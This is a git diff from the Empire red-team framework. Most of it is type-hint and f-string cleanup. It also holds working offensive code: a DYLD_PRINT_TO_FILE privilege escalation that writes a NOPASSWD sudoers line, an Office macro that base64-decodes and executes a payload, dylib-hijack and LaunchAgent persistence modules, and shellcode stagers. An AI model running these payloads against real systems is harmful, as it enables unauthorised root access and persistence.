+ ) -> tuple[str | None, str | None]:
listApps = params["ListApps"]
appName = params["AppName"]
sandboxMode = params["SandboxMode"]
diff --git a/empire/server/modules/python/collection/osx/search_email.py b/empire/server/modules/python/collection/osx/search_email.py
index 6aef3f2e0..f2bf1cca6 100644
--- a/empire/server/modules/python/collection/osx/search_email.py
+++ b/empire/server/modules/python/collection/osx/search_email.py
@@ -1,17 +1,16 @@
-from typing import Dict, Optional, Tuple
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
searchTerm = params["SearchTerm"]
script = 'cmd = "find /Users/ -name *.emlx 2>/dev/null'
diff --git a/empire/server/modules/python/collection/osx/sniffer.py b/empire/server/modules/python/collection/osx/sniffer.py
index 8b03bad87..0762f7fb7 100644
--- a/empire/server/modules/python/collection/osx/sniffer.py
+++ b/empire/server/modules/python/collection/osx/sniffer.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
) -> str:
diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
index 8fc499bca..0423774a7 100644
--- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
+++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py
index 84fe2e23f..0937c4de6 100644
--- a/empire/server/modules/python/management/multi/spawn.py
+++ b/empire/server/modules/python/management/multi/spawn.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py
index 39ab0b60a..914f76b02 100644
--- a/empire/server/modules/python/management/osx/shellcodeinject64.py
+++ b/empire/server/modules/python/management/osx/shellcodeinject64.py
@@ -1,7 +1,7 @@
import base64
import os
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/persistence/multi/desktopfile.py b/empire/server/modules/python/persistence/multi/desktopfile.py
index f8d2c7b15..5a49dfc12 100644
--- a/empire/server/modules/python/persistence/multi/desktopfile.py
+++ b/empire/server/modules/python/persistence/multi/desktopfile.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/persistence/osx/CreateHijacker.py b/empire/server/modules/python/persistence/osx/CreateHijacker.py
index b099c273b..30540e533 100644
--- a/empire/server/modules/python/persistence/osx/CreateHijacker.py
+++ b/empire/server/modules/python/persistence/osx/CreateHijacker.py
@@ -1,6 +1,6 @@
import base64
-from typing import Dict, Optional, Tuple
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
@@ -8,12 +8,12 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
# the Python script itself, with the command to invoke
# for execution appended to the end. Scripts should output
# everything to the pipeline for proper parsing.
@@ -41,7 +41,7 @@ def generate(
dylib = params["LegitimateDylibPath"]
vrpath = params["VulnerableRPATH"]
- script = """
+ script = f"""
from ctypes import *
def run(attackerDYLIB):
@@ -414,9 +414,9 @@ def configure(attackerDYLIB, targetDYLIB):
#target .dylib
- targetDYLIB = "{}"
+ targetDYLIB = "{dylib}"
- vrpath = "{}"
+ vrpath = "{vrpath}"
#configured .dylib
@@ -467,7 +467,7 @@ def configure(attackerDYLIB, targetDYLIB):
import base64
import uuid
-encbytes = "{}"
+encbytes = "{encoded_dylib}"
filename = str(uuid.uuid4())
path = "/tmp/" + filename + ".dylib"
decodedDylib = base64.b64decode(encbytes)
@@ -475,10 +475,6 @@ def configure(attackerDYLIB, targetDYLIB):
temp.write(decodedDylib)
temp.close()
run(path)
-""".format(
- dylib,
- vrpath,
- encoded_dylib,
- )
+"""
return script
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgent.py b/empire/server/modules/python/persistence/osx/LaunchAgent.py
index 5dceb51eb..d72b90140 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgent.py
+++ b/empire/server/modules/python/persistence/osx/LaunchAgent.py
@@ -1,6 +1,6 @@
import base64
-from typing import Dict, Optional, Tuple
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
@@ -8,12 +8,12 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
daemon_name = params["DaemonName"]
program_name = daemon_name.split(".")[-1]
plist_filename = "%s.plist" % daemon_name
diff --git a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
index ebee9c1ca..2695953a3 100644
--- a/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
+++ b/empire/server/modules/python/persistence/osx/LaunchAgentUserLandPersistence.py
@@ -1,5 +1,4 @@
-from typing import Dict, Optional, Tuple
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
@@ -7,12 +6,12 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
plist_name = params["PLISTName"]
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -27,26 +26,23 @@ def generate(
launcher = removesuffix(launcher, " | python3 &")
launcher = launcher.strip('"')
- plistSettings = """
+ plistSettings = f"""
Label
-{}
+{plist_name}
ProgramArguments
python
-c
-{}
+{launcher}
RunAtLoad
-""".format(
- plist_name,
- launcher,
- )
+"""
script = f"""
import subprocess
diff --git a/empire/server/modules/python/persistence/osx/loginhook.py b/empire/server/modules/python/persistence/osx/loginhook.py
index e55b7f569..39e30ce69 100644
--- a/empire/server/modules/python/persistence/osx/loginhook.py
+++ b/empire/server/modules/python/persistence/osx/loginhook.py
@@ -1,17 +1,16 @@
-from typing import Dict, Optional, Tuple
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
loginhook_script_path = params["LoginHookScript"]
password = params["Password"]
password = password.replace("$", r"\$")
diff --git a/empire/server/modules/python/persistence/osx/mail.py b/empire/server/modules/python/persistence/osx/mail.py
index 26e56c159..796f0c7c5 100644
--- a/empire/server/modules/python/persistence/osx/mail.py
+++ b/empire/server/modules/python/persistence/osx/mail.py
@@ -1,20 +1,20 @@
from random import choice
from string import ascii_uppercase
from time import time
-from typing import Dict, Optional, Tuple
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
rule_name = params["RuleName"]
trigger = params["Trigger"]
listener_name = params["Listener"]
@@ -128,15 +128,15 @@ def UUID():
"""
)
- script = """
+ script = f"""
import os
home = os.getenv("HOME")
-AppleScript = '{}'
-SyncedRules = '{}'
-RulesActiveState = '{}'
-plist = \"\"\"{}\"\"\"
-plist2 = \"\"\"{}\"\"\"
-payload = \'\'\'{}\'\'\'
+AppleScript = '{apple_script}'
+SyncedRules = '{synced_rules}'
+RulesActiveState = '{rules_active_state}'
+plist = \"\"\"{plist}\"\"\"
+plist2 = \"\"\"{plist2}\"\"\"
+payload = \'\'\'{launcher}\'\'\'
payload = payload.replace('&\"', '& ')
payload += "kill `ps -ax | grep ScriptMonitor |grep -v grep | awk \'{{print($1)}}\'`"
payload += '\"'
@@ -185,13 +185,6 @@ def UUID():
os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist")
os.system("rm " + SyncedRules)
os.system("rm " + RulesActiveState)
- """.format(
- apple_script,
- synced_rules,
- rules_active_state,
- plist,
- plist2,
- launcher,
- )
+ """
return script
diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py
index cfb5ce94e..31d3b462f 100644
--- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py
+++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py
@@ -1,6 +1,6 @@
import base64
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -8,9 +8,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py
index 7302a60ce..ec9f2aaaf 100644
--- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py
+++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py
@@ -1,7 +1,7 @@
import base64
import subprocess
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py
index 3aa071098..a4c1816fb 100644
--- a/empire/server/modules/python/privesc/multi/bashdoor.py
+++ b/empire/server/modules/python/privesc/multi/bashdoor.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py
index 6bc07273e..f9c253505 100644
--- a/empire/server/modules/python/privesc/multi/sudo_spawn.py
+++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
index b3f70e985..7645db5c8 100644
--- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
+++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py
@@ -1,6 +1,6 @@
import logging
-from typing import Dict
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
log = logging.getLogger(__name__)
@@ -9,9 +9,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
@@ -36,21 +36,19 @@ def generate(
launcher = launcher.replace('"', '\\"')
fullPath = params["WriteablePath"] + params["FileName"]
fileName = params["FileName"]
- script = """
+ script = f"""
import os
-print("Writing Stager to {filename}...")
-file = open("{fullpath}","w")
-file.write("{filecontents}")
+print("Writing Stager to {fileName}...")
+file = open("{fullPath}","w")
+file.write("{launcher}")
file.close()
print("Attempting to execute stager as root...")
try:
- os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullpath} &")
+ os.system("echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo /bin/sh {fullPath} &")
print("Successfully ran command, you should be getting an elevated stager")
except:
print("[!] Could not execute payload!")
- """.format(
- fullpath=fullPath, filecontents=launcher, filename=fileName
- )
+ """
return script
diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py
index 4c88febd8..df630f8ba 100644
--- a/empire/server/modules/python/privesc/osx/piggyback.py
+++ b/empire/server/modules/python/privesc/osx/piggyback.py
@@ -1,5 +1,4 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -7,9 +6,9 @@
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
index c61024954..09ebd34ae 100644
--- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
+++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/server/modules/python_template.py b/empire/server/modules/python_template.py
index 5e509d722..39922f8ce 100644
--- a/empire/server/modules/python_template.py
+++ b/empire/server/modules/python_template.py
@@ -1,5 +1,3 @@
-from typing import Dict, Optional, Tuple
-
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -16,10 +14,10 @@ class Module:
def generate(
main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
- ) -> Tuple[Optional[str], Optional[str]]:
+ ) -> tuple[str | None, str | None]:
# Step 1: Get the module source code
# The script should be stripped of comments, with a link to any
# original reference script included in the comments.
diff --git a/empire/server/plugins/reverseshell_stager_server.plugin b/empire/server/plugins/reverseshell_stager_server.plugin
index b46f0bb9d..c4b3ad250 100644
--- a/empire/server/plugins/reverseshell_stager_server.plugin
+++ b/empire/server/plugins/reverseshell_stager_server.plugin
@@ -101,7 +101,7 @@ class Plugin(Plugin):
"Value": "default",
},
"ProxyCreds": {
- "Description": "Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
+ "Description": "Proxy credentials ([domain\\]username:password) to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
diff --git a/empire/server/server.py b/empire/server/server.py
index 2075e8e15..8f1f62ef4 100755
--- a/empire/server/server.py
+++ b/empire/server/server.py
@@ -32,8 +32,7 @@ def setup_logging(args):
else:
log_level = logging.getLevelName(empire_config.logging.level.upper())
- logging_dir = empire_config.logging.directory
- log_dir = Path(logging_dir)
+ log_dir = empire_config.logging.directory
log_dir.mkdir(parents=True, exist_ok=True)
root_log_file = log_dir / "empire_server.log"
root_logger = logging.getLogger()
@@ -143,7 +142,7 @@ def run(args):
check_recommended_configuration()
if not args.restport:
- args.restport = 1337
+ args.restport = empire_config.api.port
else:
args.restport = int(args.restport[0])
diff --git a/empire/server/stagers/multi/macro.py b/empire/server/stagers/multi/macro.py
index 43f3ddfa8..cc73d77d9 100755
--- a/empire/server/stagers/multi/macro.py
+++ b/empire/server/stagers/multi/macro.py
@@ -194,7 +194,7 @@ def formStr(varstr, instr):
poshpayload += '\n\t\tstr = str + "' + str(poshchunk)
# if statements below are for loading Mac dylibs for compatibility
- macro = """#If Mac Then
+ macro = f"""#If Mac Then
#If VBA7 Then
Private Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long
#Else
@@ -220,7 +220,7 @@ def formStr(varstr, instr):
Public Function Debugging() As Variant
On Error Resume Next
Dim tracking As String
- tracking = "{}"
+ tracking = "{pixel_track_url}"
#If Mac Then
'Mac Rendering
If Val(Application.Version) < 15 Then 'Mac Office 2011
@@ -230,7 +230,7 @@ def formStr(varstr, instr):
End If
Dim result As Long
Dim str As String
- {}
+ {pypayload}
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &")
result = system("echo ""import sys,base64;exec(base64.b64decode(\\\"\" \" & str & \" \\\"\"));"" | python3 &")
#Else
@@ -239,7 +239,7 @@ def formStr(varstr, instr):
Set objWeb = CreateObject("Microsoft.XMLHTTP")
objWeb.Open "GET", tracking & "Windows", False
objWeb.send
- {}
+ {poshpayload}
'MsgBox(str)
Set objWMIService = GetObject("winmgmts:\\\\.\\root\\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
@@ -248,10 +248,6 @@ def formStr(varstr, instr):
Set objProcess = GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_Process")
objProcess.Create str, Null, objConfig, intProcessID
#End If
-End Function""".format(
- pixel_track_url,
- pypayload,
- poshpayload,
- )
+End Function"""
return macro
diff --git a/empire/server/stagers/osx/shellcode.py b/empire/server/stagers/osx/shellcode.py
index 56abb3795..4bb49efeb 100644
--- a/empire/server/stagers/osx/shellcode.py
+++ b/empire/server/stagers/osx/shellcode.py
@@ -71,7 +71,7 @@ def generate(self):
user_agent = self.options["UserAgent"]["Value"]
safe_checks = self.options["SafeChecks"]["Value"]
- if not self.mainMenu.listeners.is_listener_valid(listener_name):
+ if not self.mainMenu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
print(helpers.color("[!] Invalid listener: " + listener_name))
return ""
diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py
index 5e074f17c..44a21a895 100644
--- a/empire/server/stagers/windows/dll.py
+++ b/empire/server/stagers/windows/dll.py
@@ -100,7 +100,7 @@ def generate(self):
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
bypasses = self.options["Bypasses"]["Value"]
- if not self.mainMenu.listeners.is_listener_valid(
+ if not self.mainMenu.listenersv2.get_active_listener_by_name(
listener_name
) and not self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name):
# not a valid listener, return nothing for the script
diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py
index d94edeb0d..643fbc11b 100644
--- a/empire/server/stagers/windows/shellcode.py
+++ b/empire/server/stagers/windows/shellcode.py
@@ -1,6 +1,11 @@
import logging
-import donut
+try:
+ import donut
+except ModuleNotFoundError:
+ donut = None
+
+from empire.server.utils.module_util import handle_error_message
log = logging.getLogger(__name__)
@@ -113,7 +118,7 @@ def generate(self):
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
arch = self.options["Architecture"]["Value"]
- if not self.mainMenu.listeners.is_listener_valid(listener_name):
+ if not self.mainMenu.listenersv2.get_active_listener_by_name(listener_name):
# not a valid listener, return nothing for the script
return "[!] Invalid listener: " + listener_name
@@ -142,9 +147,12 @@ def generate(self):
return "[!] Error in launcher command generation."
if language.lower() == "powershell":
- shellcode = self.mainMenu.stagers.generate_powershell_shellcode(
+ shellcode, err = self.mainMenu.stagers.generate_powershell_shellcode(
launcher, arch=arch, dot_net_version=dot_net_version
)
+ if err:
+ return handle_error_message(err)
+
return shellcode
elif language.lower() == "csharp":
@@ -155,14 +163,22 @@ def generate(self):
elif arch == "both":
arch_type = 3
+ if not donut:
+ return handle_error_message(
+ "module donut-shellcode not installed. It is only supported on x86."
+ )
+
directory = f"{self.mainMenu.installPath}/csharp/Covenant/Data/Tasks/CSharp/Compiled/{dot_net_version}/{launcher}.exe"
shellcode = donut.create(file=directory, arch=arch_type)
return shellcode
elif language.lower() == "python":
- shellcode = self.mainMenu.stagers.generate_python_shellcode(
+ shellcode, err = self.mainMenu.stagers.generate_python_shellcode(
launcher, arch=arch, dot_net_version=dot_net_version
)
+ if err:
+ return handle_error_message(err)
+
return shellcode
else:
diff --git a/empire/server/utils/module_util.py b/empire/server/utils/module_util.py
index fea6babdd..8aefa953c 100644
--- a/empire/server/utils/module_util.py
+++ b/empire/server/utils/module_util.py
@@ -1,11 +1,9 @@
-from typing import Optional, Tuple
-
from empire.server.common import helpers
def handle_error_message(
msg: str = "", print_to_server: bool = True
-) -> Tuple[Optional[str], str]:
+) -> tuple[str | None, str]:
"""
Given a reason for a module execution error, print to server and return the message as a tuple back to
the modules.py handler to send to the client
@@ -20,7 +18,7 @@ def handle_error_message(
def handle_validate_message(
msg: str = "", print_to_server: bool = True
-) -> Tuple[bool, str]:
+) -> tuple[bool, str]:
"""
Given a reason for a module execution error, print to server and return the message as a tuple back to
the modules.py handler to send to the client
diff --git a/empire/server/utils/option_util.py b/empire/server/utils/option_util.py
index 0abb0e113..b7805e785 100644
--- a/empire/server/utils/option_util.py
+++ b/empire/server/utils/option_util.py
@@ -5,9 +5,7 @@
from empire.server.core.module_models import EmpireModuleOption
-def safe_cast(
- option: typing.Any, expected_option_type: typing.Type
-) -> typing.Optional[typing.Any]:
+def safe_cast(option: typing.Any, expected_option_type: type) -> typing.Any | None:
try:
if expected_option_type is bool:
return option.lower() in ["true", "1"]
@@ -16,7 +14,7 @@ def safe_cast(
return None
-def convert_module_options(options: typing.List[EmpireModuleOption]) -> typing.Dict:
+def convert_module_options(options: list[EmpireModuleOption]) -> dict:
"""
Since modules options are typed classes vs listeners/stagers/etc which are dicts, this function
converts the options to dicts so they can use the same validation logic in validate_options.
@@ -38,7 +36,7 @@ def convert_module_options(options: typing.List[EmpireModuleOption]) -> typing.D
def validate_options(
- instance_options: typing.Dict, params: typing.Dict, db: Session, download_service
+ instance_options: dict, params: dict, db: Session, download_service
):
"""
Compares the options passed in (params) to the options defined in the
@@ -103,7 +101,7 @@ class (instance). If any options are invalid, returns a Tuple of
return options, None
-def set_options(instance, options: typing.Dict):
+def set_options(instance, options: dict):
"""
Sets the options for the listener/stager/plugin instance.
"""
@@ -153,12 +151,9 @@ def _parse_type(type_str: str = "", value: str = ""):
def _safe_cast_option(
param_name, param_value, option_meta
-) -> typing.Tuple[typing.Any, typing.Optional[str]]:
+) -> tuple[typing.Any, str | None]:
option_type = type(param_value)
- if (
- option_meta.get("Type") is not None
- and type(option_meta.get("Type")) == typing.Type
- ):
+ if option_meta.get("Type") is not None and type(option_meta.get("Type")) == type:
expected_option_type = option_meta.get("Type")
else:
expected_option_type = _parse_type(
diff --git a/empire/test/conftest.py b/empire/test/conftest.py
index 60ca6044e..9bae10299 100644
--- a/empire/test/conftest.py
+++ b/empire/test/conftest.py
@@ -2,11 +2,9 @@
import shutil
import sys
from contextlib import suppress
-from importlib import reload
from pathlib import Path
import pytest
-from fastapi import FastAPI
from starlette.testclient import TestClient
from empire.client.src.utils.data_util import get_random_string
@@ -38,8 +36,6 @@ def client():
import empire.server.core.db.base
from empire.server.core.db.base import reset_db, startup_db
- reset_db()
- reload(empire.server.core.db.base)
startup_db()
shutil.rmtree("empire/test/downloads", ignore_errors=True)
@@ -50,50 +46,14 @@ def client():
args = arguments.parent_parser.parse_args()
import empire.server.server
+ from empire.server.api.app import initialize
from empire.server.common.empire import MainMenu
empire.server.server.main = MainMenu(args)
- from empire.server.api.v2.agent import agent_api, agent_file_api, agent_task_api
- from empire.server.api.v2.bypass import bypass_api
- from empire.server.api.v2.credential import credential_api
- from empire.server.api.v2.download import download_api
- from empire.server.api.v2.host import host_api, process_api
- from empire.server.api.v2.listener import listener_api, listener_template_api
- from empire.server.api.v2.meta import meta_api
- from empire.server.api.v2.module import module_api
- from empire.server.api.v2.obfuscation import obfuscation_api
- from empire.server.api.v2.plugin import plugin_api, plugin_task_api
- from empire.server.api.v2.profile import profile_api
- from empire.server.api.v2.stager import stager_api, stager_template_api
- from empire.server.api.v2.tag import tag_api
- from empire.server.api.v2.user import user_api
-
- v2App = FastAPI()
- v2App.include_router(listener_template_api.router)
- v2App.include_router(listener_api.router)
- v2App.include_router(stager_template_api.router)
- v2App.include_router(stager_api.router)
- v2App.include_router(agent_task_api.router)
- v2App.include_router(agent_file_api.router)
- v2App.include_router(agent_api.router)
- v2App.include_router(module_api.router)
- v2App.include_router(bypass_api.router)
- v2App.include_router(obfuscation_api.router)
- v2App.include_router(profile_api.router)
- v2App.include_router(plugin_api.router)
- v2App.include_router(plugin_task_api.router)
- v2App.include_router(credential_api.router)
- v2App.include_router(host_api.router)
- v2App.include_router(user_api.router)
- v2App.include_router(process_api.router)
- v2App.include_router(download_api.router)
- v2App.include_router(meta_api.router)
- v2App.include_router(tag_api.router)
-
- yield TestClient(v2App)
-
- print("cleanup")
+ app = initialize(ip="localhost", run=False)
+
+ yield TestClient(app)
from empire.server.server import main
@@ -203,9 +163,9 @@ def base_listener_non_fixture():
"template": "http",
"options": {
"Name": "new-listener-1",
- "Host": "http://localhost:1336",
+ "Host": "http://localhost:80",
"BindIP": "0.0.0.0",
- "Port": "1336",
+ "Port": "80",
"Launcher": "powershell -noP -sta -w 1 -enc ",
"StagingKey": "2c103f2c4ed1e59c0b4e2e01821770fa",
"DefaultDelay": "5",
diff --git a/empire/test/data/modules/test_custom_module.py b/empire/test/data/modules/test_custom_module.py
index 7f1a4aa8c..904b4bbbd 100644
--- a/empire/test/data/modules/test_custom_module.py
+++ b/empire/test/data/modules/test_custom_module.py
@@ -1,14 +1,13 @@
-from typing import Dict
-
+from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
class Module:
@staticmethod
def generate(
- main_menu,
+ main_menu: MainMenu,
module: EmpireModule,
- params: Dict,
+ params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
diff --git a/empire/test/test_agent_checkins_api.py b/empire/test/test_agent_checkins_api.py
index 473e31345..36ca442c3 100644
--- a/empire/test/test_agent_checkins_api.py
+++ b/empire/test/test_agent_checkins_api.py
@@ -115,11 +115,10 @@ def test_database_performance_checkins(models, host, agents, session_local):
assert t() < 1
with timer() as t:
- query = db.query(models.AgentCheckIn).limit(100000)
+ query = db.query(models.AgentCheckIn).limit(50000)
query.all()
log.info(f"Time to query {checkins} checkins: {t():0.4f} seconds")
- # Changed from 4 to 5 in 2023/07
- assert t() < 5
+ assert t() < 6
agents = db.query(models.Agent).all()
@@ -185,12 +184,10 @@ def test_get_agent_checkins_multiple_agents(
assert response.status_code == 200
assert len(response.json()["records"]) == days_back * 17280 * 2
- assert set([r["agent_id"] for r in response.json()["records"]]) == set(
- with_checkins[:2]
- )
+ assert {r["agent_id"] for r in response.json()["records"]} == set(with_checkins[:2])
-@pytest.mark.slow
+# @pytest.mark.slow
def test_agent_checkins_aggregate(
client, admin_auth_header, session_local, models, agents, empire_config
):
@@ -205,7 +202,7 @@ def test_agent_checkins_aggregate(
)
assert response.status_code == 200
- assert response.elapsed.total_seconds() < 2
+ assert response.elapsed.total_seconds() < 5
assert response.json()["bucket_size"] == "day"
assert response.json()["records"][1]["count"] == 17280 * 3
@@ -216,7 +213,7 @@ def test_agent_checkins_aggregate(
)
assert response.status_code == 200
- assert response.elapsed.total_seconds() < 2
+ assert response.elapsed.total_seconds() < 5
